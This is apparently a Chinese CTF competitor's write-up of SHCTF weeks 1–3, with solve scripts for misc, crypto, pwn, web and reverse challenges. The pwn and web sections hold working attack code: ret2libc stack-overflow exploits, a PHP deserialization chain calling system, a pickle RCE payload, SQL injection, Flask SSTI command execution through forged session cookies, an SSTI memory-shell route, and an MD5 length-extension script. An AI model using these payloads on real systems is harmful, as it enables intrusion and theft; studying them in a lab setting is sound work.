总排第28名,后续会对web复现

week1

Misc

签到题

公众号发对应内容就可以得到flag

Rasterizing Traffic

给的流量包,wireshark导出全部内容,中间的三个flag拼接是假的

最后一个导入010得到一个图片,网上搜索了一番知道是光栅隐写吧(是这么叫嘛)直接上exp,会跑出五个图片,拼接一下就行

from PIL import Image
import numpy as np

img = np.array(Image.open('a.png').convert('L'))  # 确保图像是灰度的

for i in range(5):
    z = np.zeros_like(img)  # 创建全黑图像
    z[:, i::5] = img[:, i::5]  # 仅复制每5个像素的列
    Image.fromarray(z).show()

拜师之旅①

给的图片不能正常查看,用010查看给加上正常的png开头给到图片,发现没有flag,crc爆破一下宽高得到flag

1

有WiFi干嘛不用呢?

简单的学一下

csv里面给了BSSID: EE:52:37:27:75:EB

may里面应该是密码字典,写个脚本提取一下内容,然后kali进行运行

aircrack-ng 01.cap -w pass.txt -b EE:52:37:27:75:EB -e target

import os
directory = 'may'
with open('pass.txt', 'w', encoding='utf-8') as output_file:
    files = os.listdir(directory)
    for file in files:
        file_path = os.path.join(directory, file)
        if os.path.isfile(file_path):
            try:
                with open(file_path, 'r', encoding='utf-8') as f:
                    content = f.read()
                    if len(content) > 2:
                        modified_content = content[1:-2]
                    else:
                        modified_content = content  # 如果文件内容长度不够,则不进行截取
                    output_file.write(f"{modified_content}\n")
            except Exception as e:
                print(f"读取文件 {file} 时出错: {e}")
print("所有文件内容已保存到 pass.txt 中")

4

真真假假?遮遮掩掩!

第一层我直接用伪加密工具Zipcenop进行的然后到了第二层,给了hint,SHCTF??????FTCHS,有点眼熟可以进行简单的猜测,最后得出是202410,然后带入解压得到flag,在线掩码爆破也行

Crypto

EzAES

from Crypto.Cipher import AES
import os

# 替换为你之前打印的 IV 和 Key
iv = b'\x91\x9c\x9e\x9fP\x98%\xd2{\xbc\xee|\x98c\x00\xd2'  # IV
key = b'\x1b\x16\xd9\xc9\xc9\x10[u\xd5\xbeR\x8f\xd0\x99\xfe\xc0'  # Key

# 读取密文
ciphertext = b'n\xe0\xe5\xa7W&\x89\x8d\xe5\xbd\xc8\xcf\n]\xbb\xcfF<sm\xae\xb1yY\xaa\x9a\x1a\x93*\x80\xad:Q\xb0\x1d9\xc8w\x08WR\xea\x8c\xca\xd6\x99\xf5\x8b'

# 创建 AES 解密对象
my_aes = AES.new(key, AES.MODE_CBC, iv)

# 解密
plaintext = my_aes.decrypt(ciphertext)

# 去掉填充
plaintext = plaintext.rstrip(b' ')

# 输出解密后的明文
print(plaintext)

Hello Crypto

from Crypto.Util.number import long_to_bytes
m = 215055650564999213787435370441363980894435533627269060323553651075017072071074685867345899498649872049909340326243097196157
flag = long_to_bytes(m)
print(flag)

baby_mod

参考了一下某比赛的wp,需要用到LLL算法,在本地微调之后的脚本如下,不太懂密码,本地的sagemath也不太灵光

from Crypto.Util.number import long_to_bytes
from sage.all import *

# 密文和泄露的信息
c = 11454421006649444523173181606538145863693301443391411104476020392813188354552215237541156121746758260766189373235006192698011018103423719730694468959224
c = int(str(c) + "018990780114999724489697761346835348813863898197690613747060288212872603755938090881078090944985579244137762398288966180345904956701373459097473470489567378")

leak = -1457239467497770923738554308938779252194103808390298333375049349003518667390622623962565986306781435262634228918675745169896226699428349499145721234
leak = int(str(leak) + "545270574817562202671727008676598472467510294490895807123478089330411790070820510557303676413421705544423508474571278325171268094198633442810872810490979940393221644842305735264574402808330041918352683831517808255366623997677143893057026579")

r = 42606828099121205053846991305471624876675634413970417383658101034174961099590991091338816566296815476985911913200609816293298344668685957430209803900543
r = int(str(r) + "7862187841457950962311478142840359604893093112772355204586841584891592754560520121")

t = 43431252615108394128004779879998409954355258544308741393719751627109295930373577434186230529781229842377724105486808348002663162365228575615973691647630
t = int(str(t) + "7150053640166059613223862263789840507159058492697264635797552295028685772559578491")

# 构建矩阵
Ge = Matrix(ZZ, [
    [leak, 0, 0, 0],
    [r, 1, 0, 0],
    [t, 0, 1, 0],
    [-1, 0, 0, 2^500]
])

# 对第一列乘以 2^2000
Ge[:, 0] *= 2^2000

# LLL 约简
for line in Ge.LLL():
    if line[0] == 0:
        p, q = abs(line[1]), abs(line[2])
        n = p * q
        d = inverse(Integer(65537), (p - 1) * (q - 1))
        
        # 将 m 转换为标准整数
        m = pow(c, d, n)
        print(long_to_bytes(int(m)))

factor

首先用yafu对N进行分解,然后带入对十选七进行全排列不重复,最后在答案区搜索SHCTF得到flag

from itertools import combinations
from Crypto.Util.number import *
import gmpy2
from math import prod
primes = [
    10090316943954343501,
    9584538385744661071,
    9882099115896276037,
    12935778997315545353,
    14633606489606944033,
    17359021365807747733,
    10674490894804861513,
    17744376529345008481,
    13075868978049623633,
    14346486611799750539
]
e = 65537
c = 18791760293830179824015973110611716748918716697136891148879107606156801766019039764839524314819248940389704627215761359769781402984529

N = prod(primes)
for p_list in combinations(primes, 7):
    n = prod(p_list)
    phi = 1
    for p in p_list:
        phi *= (p - 1)
    d = gmpy2.invert(e, phi)
    m = pow(c, d, n)
    flag = long_to_bytes(m)

    print(f"组合: {p_list}, 解密后的 flag: {flag.decode(errors='ignore')}")

9

Pwn

签个到吧

c\at /f??? 1>&2

No stack overflow1

checksec一下发现有nx保护

6

ida打开发现有backdoor里面写入了bin/sh

一个gets的栈溢出,前面加\x00可以绕过,上exp

from pwn import *
p = remote('entry.shc.tf',28055)
payload=b'\x00'+b'a'*0x117+p64(0x4011DB)
p.sendline(payload)
p.interactive()

No stack overflow2

checksec一下开了nx

13

用ida打开,F5查看伪代码,先看main函数,有大小比较用-1绕过,没有system和sh,溢出点在read函数

用ROP gadget –binary ‘vuln’ –only ‘pop|ret’ ,查找rdi和ret的地址

from pwn import *
from LibcSearcher import *

# 设置连接和ELF文件
p = remote('210.44.150.15', 26065)
elf = ELF('./vuln')

# 常量定义
rdi = 0x0401223
ret = 0x040101a
main = 0x401228
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']

# 构造第一个payload,泄露puts地址
payload1 = b'a' * 0x108 + p64(rdi) + p64(puts_got) + p64(puts_plt) + p64(main)
p.sendline(b'-1')
p.sendline(payload1)

# 接收puts地址并计算libc基址
p.recvuntil('input: ')
puts_addr = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
print(f'puts_addr: {hex(puts_addr)}')

libc = LibcSearcher('puts', puts_addr)
libcbase = puts_addr - libc.dump('puts')
print(f'libcbase: {hex(libcbase)}')

# 计算system和"/bin/sh"地址
sys = libcbase + libc.dump('system')
binsh = libcbase + libc.dump('str_bin_sh')

# 构造第二个payload,执行system("/bin/sh")
p.sendline(b"-1")
payload2 = b'a' * 0x108 + p64(ret) + p64(rdi) + p64(binsh) + p64(sys)
p.sendline(payload2)

p.interactive()

12

Web

1zflask

先看/robots.txt,再看/s3recttt下载了文件,看一下在/api下面可以执行,进行传参得到flag

?SSHCTFF=cat /flag

ez_gittt

githack坏了,用gitdump下来,然后如下操作

2

蛐蛐?蛐蛐!

看源码有提示根据提示前往,然后构造payload

?ququ=0114514
ququ=ququk1;system('cat /f*');

jvav

还没学过java,问gpt跑一下

import java.io.BufferedReader;
import java.io.InputStreamReader;

class demo {
    public static void main(String[] args) {
        String command = "cat /flag"; // 要执行的命令
        String result = executeCommand(command);
        System.out.println("Command output: " + result);
    }

    private static String executeCommand(String command) {
        StringBuilder output = new StringBuilder();
        try {
            Process process = Runtime.getRuntime().exec(command);
            BufferedReader reader = new BufferedReader(new InputStreamReader(process.getInputStream()));
            String line;
            while ((line = reader.readLine()) != null) {
                output.append(line).append("\n");
            }
            reader.close();
        } catch (Exception e) {
            e.printStackTrace();
        }
        return output.toString().trim();
    }
}

poppopop

<?php
class SH {

    public static $Web = true;
    public static $SHCTF = true;
}
class C {
    public $p;

    public function flag()
    {
        ($this->p)();
    }
}
class T{
    public $n;
    public function __destruct()
    {
        SH::$Web = true;
        echo $this->n;
    }
}
class F {
    public $o;
    public function __toString()
    {
        SH::$SHCTF = true;
        $this->o->flag();
    }
}
class SHCTF {
    public $isyou;
    public $flag;
    public function __invoke()
    {
        if (SH::$Web) {
            ($this->isyou)($this->flag);
        } 
    }
}
$t = new T;
$t->n = new F;
$t->n->o = new C;
$t->n->o->p=new SHCTF;
$t->n->o->p->isyou='system';
$t->n->o->p->flag='cat /f*';
$exp = serialize($t);
$exp = base64_encode($exp);
echo $exp;

单身十八年的手速

直接js定位到alert然后base64解密得到flag

MD5 Master

<?php
highlight_file(__file__);

$master = "MD5 master!";

if(isset($_POST["master1"]) && isset($_POST["master2"])){
    if($master.$_POST["master1"] !== $master.$_POST["master2"] && md5($master.$_POST["master1"]) === md5($master.$_POST["master2"])){
        echo $master . "<br>";
        echo file_get_contents('/flag');
    }
}
else{
    die("master? <br>");
}

这题一开始的思路就是对的,只是由于编码的问题导致头一天没写出来,先用fastcoll对1.txt进行hash碰撞(内容是MD5 master!),然后用python进行读取内容,我php写的脚本就是一直不对,不知道为什么,然后拼接就可以得到flag了,最好用bp来发,hackbar会用url的编码问题

import urllib.parse
def read_my_file(path):
    with open(path, 'rb') as fh:
        data = fh.read()
    return data
# 指定文件路径
file_path = "test_msg2.txt"
encoded_data = urllib.parse.quote(read_my_file(file_path))
print(f"URL 编码后的内容: {encoded_data}")

5

Ai

小助手

3

Re

gamegame

程序简单跑一下,用ida查看一下发现flag就是数独空白下来的拼接,找个在线网站填一下数独就行

10

ezapk

用jeb打开定位一下,同时模拟器查看一下是什么apk

7

写exp

import base64
def decode(encoded_str, key):
    decoded_bytes = base64.b64decode(encoded_str)
    decrypted_chars = []
    for i, byte in enumerate(decoded_bytes.decode('utf-8')):
        char_value = ord(byte)
        char_value //= 2
        char_value -= 6
        decrypted_char = char_value ^ key[i % len(key)]
        decrypted_chars.append(chr(decrypted_char))
    return ''.join(decrypted_chars)
key = [12, 15, 25, 30, 36]

# 加密后的字符串
encoded_str = "woLDgMOgw7hEwoJQw7zDtsKow7TDpMOMZMOow75QxIbDnsKmw6Z4UMK0w7rCklDCrMKqwqbDtMOOw6DDsg=="
# 执行解密
decrypted_str = decode(encoded_str, key)
print("Decrypted String:", decrypted_str)
print('SHCTF{'+decrypted_str+"}")

8

ezrc4

看main函数和一些其他加密逻辑rc4解密,跑一下脚本

import struct
def rc4_init(key):
    S = list(range(256))
    j = 0
    for i in range(256):
        j = (j + S[i] + key[i % len(key)]) % 256
        S[i], S[j] = S[j], S[i]
    return S
def rc4_decrypt(data, key):
    S = rc4_init(key)
    i = j = 0
    result = []
    for char in data:
        i = (i + 1) % 256
        j = (j + S[i]) % 256
        S[i], S[j] = S[j], S[i]
        k = S[(S[i] + S[j]) % 256]
        result.append(char ^ k ^ 0x66)
    return bytes(result)
# 从主函数中提取的加密标志
encrypted_flag = struct.pack('<QQQ', 0x5B3C8F65423FAB21, 0x691AE7846E05170C, 0x111F7077C3)
# 从sub_1200函数中提取的密钥
key = struct.pack('<Q', 0x212179654B6E6546)
# 解密
decrypted = rc4_decrypt(encrypted_flag, key)
# 提取有效的flag部分
flag = decrypted.split(b'}')[0] + b'}'
print("Flag:", flag.decode('ascii'))

ezxor

11

按逻辑进行简单的xor就行,上exp

#include <iostream>
#include <cstring>

int main() {
    char v9[50] = {-61, 105, 114, -60, 103, 74, -24, 17, 67, -49, 'o', '\0', -13, 68, 110, -8, 89, 73, -24, 78, 94, -30, 83, 67, -79, 92}; // flag 加密后的值
    char decrypted[50] = {0}; 

    for (int j = 0; j < 50; ++j) {
        if (j % 3 == 0) {
            decrypted[j] = v9[j] ^ 0x90; 
        } else if (j % 3 == 1) {
            decrypted[j] = v9[j] ^ 0x21;
        } else {
            decrypted[j] = v9[j] ^ 0x31; 
        }
    }

    std::cout << "Decrypted flag: ";
    for (int i = 0; i < 50; ++i) {
        std::cout << decrypted[i];
    }
    std::cout << std::endl;

    return 0;
}

PPC

绑定QQ账号

在qq群绑定一下就行,然后网站出flag,记得刷新一下就行

week2

web

guess_the_number

import requests
import random

first_num = 2060849645


def find_flag():
    for seed in range(1000000, 9999999):
        random.seed(seed)
        # 生成 first_num,以确保我们使用的是同一个种子
        generated_first_num = random.randint(1000000000, 9999999999)

        if generated_first_num == first_num:
            # 生成 second_num
            second_num = random.randint(1000000000, 9999999999)

            # 发送请求到 /guess
            url = f"http://210.44.150.15:25676/guess?num={second_num}"
            response = requests.get(url)

            # 打印每次请求的结果
            print(
                f'Seed: {seed}, First Num: {generated_first_num}, Second Num: {second_num}, Response: {response.text}')

            # 检查响应内容中是否包含 flag
            if 'flag' in response.text:
                print(f'Found flag with seed {seed}: {response.text}')
                break  # 找到后退出循环


find_flag()

自助查询

前面正常的查询最后一步有提示是注释里,查询 column_comment得到flag

1") UNION SELECT column_name, column_comment FROM information_schema.columns WHERE table_name='flag' --

入侵者禁入

考察的session,需要利用模板注入

python3 flask_session_cookie_manager3.py encode -s '0day_joker' -t '{"role":{"flag":"{{ 7*7 }}","is_admin":1}}'

测试到有注入点

然后测试

TEMPLATE="{\"role\":{\"flag\":\"{% print(url_for.__globals__[\\'__builtins__\\'][\\'eval\\'](\\\"__import__(\\\\\\'os\\\\\\').popen(\\\\\\'ls \\/\\\\\\').read()\\\")) %}\",\"is_admin\":1}}"
python3 flask_session_cookie_manager3.py encode -s '0day_joker' -t "$TEMPLATE"

发现有flag,最后

$ TEMPLATE="{\"role\":{\"flag\":\"{% print(url_for.__globals__[\\'__builtins__\\'][\\'eval\\'](\\\"__import__(\\\\\\'os\\\\\\').popen(\\\\\\'cat \\/flag\\\\\\').read()\\\")) %}\",\"is_admin\":1}}"
python3 flask_session_cookie_manager3.py encode -s '0day_joker' -t "$TEMPLATE"

14

15

dickle

pickle序列化,简单的尝试了一下,注意环境需要用linux运行脚本,得到flag

import pickle
import subprocess
import base64

class Exploit:
    def __reduce__(self):
        # 使用 subprocess 来执行命令并返回其输出
        return (subprocess.getoutput, ('cat /flag',))

# 序列化 Exploit 对象
payload = pickle.dumps(Exploit())
encoded_payload = base64.b64encode(payload).decode()

print(encoded_payload)

得到的flag的为类似下方的,需要简单调节拼接一下内容

Deserialized data: ['S', 'H', 'C', 'T', 'F',

登录验证

登陆拿去cookie用jwt_tool爆破一下密钥

16

前端是弱密码admin:admin,然后也把cookie改一下得到flag

17

MD5 GOD!(复现)

先看源码

from flask import *
import hashlib, os, random


app = Flask(__name__)
app.config["SECRET_KEY"] = "Th1s_is_5ecr3t_k3y"
salt = os.urandom(16)

def md5(data):
    return hashlib.md5(data).hexdigest().encode()

def check_sign(sign, username, msg, salt):
    if sign == md5(salt + msg + username):
        return True
    return False


def getRandom(str_length=16):
    random_str =''
    base_str ='ABCDEFGHIGKLMNOPQRSTUVWXYZabcdefghigklmnopqrstuvwxyz0123456789'
    length =len(base_str) -1
    for i in range(str_length):
        random_str +=base_str[random.randint(0, length)]
    return random_str

users = {}
sign_users = {}

@app.route("/")
def index():
    if session.get('sign') == None or session.get('username') == None or session.get('msg') == None:
        return redirect("/login")
    sign = session.get('sign')
    username = session.get('username')
    msg = session.get('msg')
    if check_sign(sign, username, msg, salt):
        sign_users[username.decode()] = 1
        return "签到成功"
    return redirect("/login")


@app.route("/login", methods=["GET", "POST"])
def login():
    if request.method == "POST":
        username = request.form.get('username')
        password = request.form.get('password')
        # print(password)
        if username in users and users[username] == password:
            session["username"] = username.encode()
            session["msg"] = md5(salt + password.encode())
            session["sign"] = md5(salt + md5(salt + password.encode()) + username.encode())
            return "登陆成功"
        else:
            return "登陆失败"
    else:
        return render_template("login.html")


@app.route("/users")
def user():
    return json.dumps(sign_users)


@app.route("/flag")
def flag():
    for user in users:
        if sign_users[user] != 1:
            return "flag{杂鱼~}"
    return open('/flag', 'r').read()


def init():
    global users, sign_users
    for _ in range(64):
        username = getRandom(8)
        pwd = getRandom(16)
        users[username] = pwd
        sign_users[username] = 0
    users["student"] = "student"
    sign_users["student"] = 0

init()

题目的要求是64个用户全部签到就可以得到flag了

访问/users可以得到用户的信息

/login 路由可以登陆

/ 路由是签到的

/flag可以得到flag

定位一下关键脚本

def check_sign(sign, username, msg, salt):
    if sign == md5(salt + msg + username):
        return True
    return False
    
@app.route("/")
def index():
    if session.get('sign') == None or session.get('username') == None or session.get('msg') == None:
        return redirect("/login")
    sign = session.get('sign')
    username = session.get('username')
    msg = session.get('msg')
    if check_sign(sign, username, msg, salt):
        sign_users[username.decode()] = 1
        return "签到成功"
    return redirect("/login")

可以知道,只要session里的 sign 和最终 md5(salt + msg + username) 相等即可签到成功

这里的salt是未知的,但最初的账号 student 的所有信息是已知的,可以用这个账号的相关信息来做hash长度拓展攻击

hash长度拓展之前打base有个现成的脚本

接着是session伪造,SECRET_KEY 已经给出是 Th1s_is_5ecr3t_k3y可以调用flask_session_cookie_manager3.py里的代码

import hashlib
import math
from typing import Any, Dict, List

rotate_amounts = [7, 12, 17, 22, 7, 12, 17, 22, 7, 12, 17, 22, 7, 12, 17, 22,
                  5, 9, 14, 20, 5, 9, 14, 20, 5, 9, 14, 20, 5, 9, 14, 20,
                  4, 11, 16, 23, 4, 11, 16, 23, 4, 11, 16, 23, 4, 11, 16, 23,
                  6, 10, 15, 21, 6, 10, 15, 21, 6, 10, 15, 21, 6, 10, 15, 21]

constants = [int(abs(math.sin(i + 1)) * 2 ** 32) & 0xFFFFFFFF for i in range(64)]

functions = 16 * [lambda b, c, d: (b & c) | (~b & d)] + \
            16 * [lambda b, c, d: (d & b) | (~d & c)] + \
            16 * [lambda b, c, d: b ^ c ^ d] + \
            16 * [lambda b, c, d: c ^ (b | ~d)]

index_functions = 16 * [lambda i: i] + \
                  16 * [lambda i: (5 * i + 1) % 16] + \
                  16 * [lambda i: (3 * i + 5) % 16] + \
                  16 * [lambda i: (7 * i) % 16]


def get_init_values(A: int = 0x67452301, B: int = 0xefcdab89, C: int = 0x98badcfe, D: int = 0x10325476) -> List[int]:
    return [A, B, C, D]


def left_rotate(x, amount):
    x &= 0xFFFFFFFF
    return ((x << amount) | (x >> (32 - amount))) & 0xFFFFFFFF


def padding_message(msg: bytes) -> bytes:
    """
    在MD5算法中,首先需要对输入信息进行填充,使其位长对512求余的结果等于448,并且填充必须进行,即使其位长对512求余的结果等于448。
    因此,信息的位长(Bits Length)将被扩展至N*512+448,N为一个非负整数,N可以是零。
    填充的方法如下:
        1) 在信息的后面填充一个1和无数个0,直到满足上面的条件时才停止用0对信息的填充。
        2) 在这个结果后面附加一个以64位二进制表示的填充前信息长度(单位为Bit),如果二进制表示的填充前信息长度超过64位,则取低64位。
    经过这两步的处理,信息的位长=N*512+448+64=(N+1)*512,即长度恰好是512的整数倍。这样做的原因是为满足后面处理中对信息长度的要求。
    """
    orig_len_in_bits = (8 * len(msg)) & 0xffffffffffffffff
    msg += bytes([0x80])
    while len(msg) % 64 != 56:
        msg += bytes([0x00])
    msg += orig_len_in_bits.to_bytes(8, byteorder='little')
    return msg


def md5(message: bytes, A: int = 0x67452301, B: int = 0xefcdab89, C: int = 0x98badcfe, D: int = 0x10325476) -> int:
    message = padding_message(message)
    hash_pieces = get_init_values(A, B, C, D)[:]
    for chunk_ofst in range(0, len(message), 64):
        a, b, c, d = hash_pieces
        chunk = message[chunk_ofst:chunk_ofst + 64]
        for i in range(64):
            f = functions[i](b, c, d)
            g = index_functions[i](i)
            to_rotate = a + f + constants[i] + int.from_bytes(chunk[4 * g:4 * g + 4], byteorder='little')
            new_b = (b + left_rotate(to_rotate, rotate_amounts[i])) & 0xFFFFFFFF
            a, b, c, d = d, new_b, b, c
        for i, val in enumerate([a, b, c, d]):
            hash_pieces[i] += val
            hash_pieces[i] &= 0xFFFFFFFF

    return sum(x << (32 * i) for i, x in enumerate(hash_pieces))


def md5_to_hex(digest: int) -> str:
    raw = digest.to_bytes(16, byteorder='little')
    return '{:032x}'.format(int.from_bytes(raw, byteorder='big'))


def get_md5(message: bytes, A: int = 0x67452301, B: int = 0xefcdab89, C: int = 0x98badcfe, D: int = 0x10325476) -> str:
    return md5_to_hex(md5(message, A, B, C, D))


def md5_attack(message: bytes, A: int = 0x67452301, B: int = 0xefcdab89, C: int = 0x98badcfe,
               D: int = 0x10325476) -> int:
    hash_pieces = get_init_values(A, B, C, D)[:]
    for chunk_ofst in range(0, len(message), 64):
        a, b, c, d = hash_pieces
        chunk = message[chunk_ofst:chunk_ofst + 64]
        for i in range(64):
            f = functions[i](b, c, d)
            g = index_functions[i](i)
            to_rotate = a + f + constants[i] + int.from_bytes(chunk[4 * g:4 * g + 4], byteorder='little')
            new_b = (b + left_rotate(to_rotate, rotate_amounts[i])) & 0xFFFFFFFF
            a, b, c, d = d, new_b, b, c
        for i, val in enumerate([a, b, c, d]):
            hash_pieces[i] += val
            hash_pieces[i] &= 0xFFFFFFFF

    return sum(x << (32 * i) for i, x in enumerate(hash_pieces))


def get_init_values_from_hash_str(real_hash: str) -> List[int]:
    """

    Args:
        real_hash: 真实的hash结算结果

    Returns: 哈希初始化值[A, B, C, D]

    """
    str_list: List[str] = [real_hash[i * 8:(i + 1) * 8] for i in range(4)]
    # 先按照小端字节序将十六进制字符串转换成整数,然后按照大端字节序重新读取这个数字
    return [int.from_bytes(int('0x' + s, 16).to_bytes(4, byteorder='little'), byteorder='big') for s in str_list]


def get_md5_attack_materials(origin_msg: bytes, key_len: int, real_hash: str, append_data: bytes) -> Dict[str, Any]:
    """

    Args:
        origin_msg: 原始的消息字节流
        key_len: 原始密钥(盐)的长度
        real_hash: 计算出的真实的hash值
        append_data: 需要添加的攻击数据

    Returns: 发起攻击需要的物料信息
        {
            'attack_fake_msg': bytes([...]),
            'attack_hash_value': str(a1b2c3d4...)
        }

    """
    init_values = get_init_values_from_hash_str(real_hash)
    # print(['{:08x}'.format(x) for x in init_values])
    # 只知道key的长度,不知道key的具体内容时,任意填充key的内容
    fake_key: bytes = bytes([0xff for _ in range(key_len)])
    # 计算出加了append_data后的真实填充数据
    finally_padded_attack_data = padding_message(padding_message(fake_key + origin_msg) + append_data)
    # 攻击者提前计算添加了攻击数据的哈希
    attack_hash_value = md5_to_hex(md5_attack(finally_padded_attack_data[len(padding_message(fake_key + origin_msg)):],
                                              A=init_values[0],
                                              B=init_values[1],
                                              C=init_values[2],
                                              D=init_values[3]))
    fake_padding_data = padding_message(fake_key + origin_msg)[len(fake_key + origin_msg):]
    attack_fake_msg = origin_msg + fake_padding_data + append_data
    return {'attack_fake_msg': attack_fake_msg, 'attack_hash_value': attack_hash_value}



from flask.sessions import SecureCookieSessionInterface
import requests, json, time

class MockApp(object):
    def __init__(self, secret_key):
        self.secret_key = secret_key


def session_decode(session_cookie_value, secret_key):
    """ Decode a Flask cookie  """
    app = MockApp(secret_key)
    si = SecureCookieSessionInterface()
    s = si.get_signing_serializer(app)
    return s.loads(session_cookie_value)


def session_encode(session_cookie_structure, secret_key):
    """ Encode a Flask session cookie """
    try:
        app = MockApp(secret_key)
        # session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
        si = SecureCookieSessionInterface()
        s = si.get_signing_serializer(app)
        return s.dumps(session_cookie_structure)
    except Exception as e:
        return "[Encoding error] {}".format(e)


def req_index(url, cookie):
    # headers = {"Cookie": "session=" + cookie}
    cookies = {"session":cookie}
    r = requests.get(url, cookies=cookies).text
    # print(r)
    if '签到成功' not in r:
        # print(cookie)
        time.sleep(1)
        req_index(url, cookie)
        # print(r)

def req_user(url):
    return json.loads(requests.get(url).text)

def req_login(url):
    data = {"username":"student", "password":"student"}
    cookie = requests.post(url, data).headers["Set-Cookie"][8:].split(';')[0]
    # print(cookie)
    return cookie

def hash_Attack(md5_value, key_len, data, attack_data):
    attack_materials = get_md5_attack_materials(data, key_len, md5_value.decode(), attack_data)
    # print(data)
    res = {"username":attack_data, "msg":attack_materials['attack_fake_msg'][:-len(attack_data)], "sign":attack_materials['attack_hash_value'].encode()}
    return res


if __name__ == '__main__':
    url = "http://210.44.150.15:47666/"
    cookie = req_login(url+'login')
    users = req_user(url+'users')
    secret_key = "Th1s_is_5ecr3t_k3y"
    res = session_decode(cookie, secret_key)
    for user in users:
        if users[user] == 0:
            res = hash_Attack(res["sign"], 16, res["msg"]+res["username"], user.encode())
            res2 = session_encode(res, secret_key)
            # time.sleep(1)
            r = req_index(url, res2)

自己一开始其实已经搓好脚本了,但是一直调用不好,就直接上官p了

crypto

魔鬼的步伐

from Crypto.Util.number import long_to_bytes
from math import gcd

def pollard_p1(n):
    a = 2
    for i in range(2, 100000):
        a = pow(a, i, n)
        d = gcd(a - 1, n)
        if 1 < d < n:
            return d
    return None

n = 2831832791030609530715813213220019883048914189158756797307958158408447051630508377374040550762130532585789257283656903976093710799661936572635199760487152921738463539735395878201301223666364287975878427298711981759489133322514450542491313745324153974993874104970865609328318781784747005428502998650052645698811657
e = 65537
c = 277886534227205145921457730106662348869574033254759302593748922500501707927099574576237860088700790266316998558285705873756211980752787668038757766667343292786435728705389634346196021354871807428435121426405798244396230131921055698729045936487882618606410991938850305317286706006559422640483458860444177938881800

# 使用 Pollard's p-1 算法来因式分解 n
p = pollard_p1(n)
q = n // p

phi = (p - 1) * (q - 1)

d = pow(e, -1, phi)

m = pow(c, d, n)

flag = long_to_bytes(m).decode()

print(f"Decrypted flag: {flag}")

worde很大

from Crypto.Util.number import getPrime,long_to_bytes
import gmpy2

n = 130433353485114808362891473473687063450960194937676119243199446452481897128998745221120731419339412044208064119908758711834838645767782724735230587850283436574369664159096103050287644689328716204472869291844135677716993421012781378455475934816332308522080394895659167943720237016096316321598240463439917555281
c = 113481028807797740037371035561982400582216347323064462704823511064717743759816353553711535800864287099830079892568173444272959071112043294532294530031945500092151286531985831158853663827132668376187003261937157640029140101561586890243591683063607063713791333133210662159262006241032211052722483961060241094497
e = 1052399395403315650954843878395162921915412936034670295881299
dp = 10401970562842714823433011053885095731667426359291853822584611025061595365689032401513692452915352091669078429838636807965495759380977994966274049008153199
a = getPrime(10)

p = gmpy2.gcd(pow(a,dp*e,n)-a,n) 
m = pow(c,dp,p)
print(long_to_bytes(m))

week3

crypto

babyLCG

from Crypto.Util.number import *
import itertools

# Given parameters
a = 2314263556681405131427434567397721554084880715002737002374447625890031179538396443026861034624920599042538939666756802003
b = 2303270095373091755028150204192621881624870682086240301196159556738806285789162309361059161301421010273000801707364139301
p = 1785338523770596929007042881767789771169994055441005505378421343570059111347682949630788644017267333793887728906549496559
c = [
    1241585594145948568010297947806690682620161405184519680517131577883608946115221281877403406394716,
    783745699152795646128200231796229145162258118907090494213671524973697625898415316535828899751033,
    244960939438293041293560739941286165510749607918699325252666815425914305519670411696985473344258
]

# Define the small_roots function
def small_roots(f, bounds, m=1, d=None):
    if not d:
        d = f.degree()
    R = f.base_ring()
    N = R.cardinality()
    f /= f.coefficients().pop(0)
    f = f.change_ring(ZZ)
    G = Sequence([], f.parent())
    for i in range(m + 1):
        base = N ** (m - i) * f ** i
        for shifts in itertools.product(range(d), repeat=f.nvariables()):
            g = base * prod(map(power, f.variables(), shifts))
            G.append(g)
    B, monomials = G.coefficient_matrix()
    monomials = vector(monomials)
    factors = [monomial(*bounds) for monomial in monomials]
    for i, factor in enumerate(factors):
        B.rescale_col(i, factor)
    B = B.dense_matrix().LLL()
    B = B.change_ring(QQ)
    for i, factor in enumerate(factors):
        B.rescale_col(i, 1 / factor)
    H = Sequence([], f.parent().change_ring(QQ))
    for h in filter(None, B * monomials):
        H.append(h)
        I = H.ideal()
        if I.dimension() == -1:
            H.pop()
        elif I.dimension() == 0:
            roots = []
            for root in I.variety(ring=ZZ):
                root = tuple(R(root[var]) for var in f.variables())
                roots.append(root)
            return roots
    return []

# Reconstructing the polynomial
PR.<x, y> = PolynomialRing(Zmod(p))
f = ((c[0] << 80) + x) * a + b - ((c[1] << 80) + y)

# Finding small roots
roots = small_roots(f, (2**80, 2**80), m=4, d=4)

# Calculating the seed
s1 = (c[0] << 80) + roots[0][0]
seed = (s1 - b) * inverse_mod(a, p) % p

# Converting the seed back to bytes
flag = bytes.fromhex(hex(seed)[2:]).decode()
print(flag)  # Outputs the original flag

web

小小cms

先试了/admin,有登录窗口,默认密码登陆,简单搜查一下,有个数据库里面插入了flag,dump下来发现是假的flag,然后创建了一个用户试了一下前端传马看看是否执行,不行,没办法去搜了一下7.0的漏洞,直接按照这个url进行shell的https://blog.csdn.net/shelter1234567/article/details/138524342,最后上截图

18

love_flask

简单的ssti的内存马,测试是没有回显的,我尝试了两种方法,一种是内部弹shell给我vps没有成功,还有一种是直接执行rce,上马

{{ url_for.__globals__['__builtins__']['eval']("app.add_url_rule('/orange', 'orange', lambda :__import__('os').popen(_request_ctx_stack.top.request.args.get('cmd', 'whoami')).read())", {'_request_ctx_stack': url_for.__globals__['_request_ctx_stack'], 'app': url_for.__globals__['current_app']}) }}

19

拜师之旅·番外

png的二次渲染,上脚本

<?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
           0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
           0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
           0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
           0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
           0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
           0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
           0x66, 0x44, 0x50, 0x33);



$img = imagecreatetruecolor(32, 32);

for ($y = 0; $y < sizeof($p); $y += 3) {
   $r = $p[$y];
   $g = $p[$y+1];
   $b = $p[$y+2];
   $color = imagecolorallocate($img, $r, $g, $b);
   imagesetpixel($img, round($y / 3), 0, $color);
}

imagepng($img,'./1.png');
?>

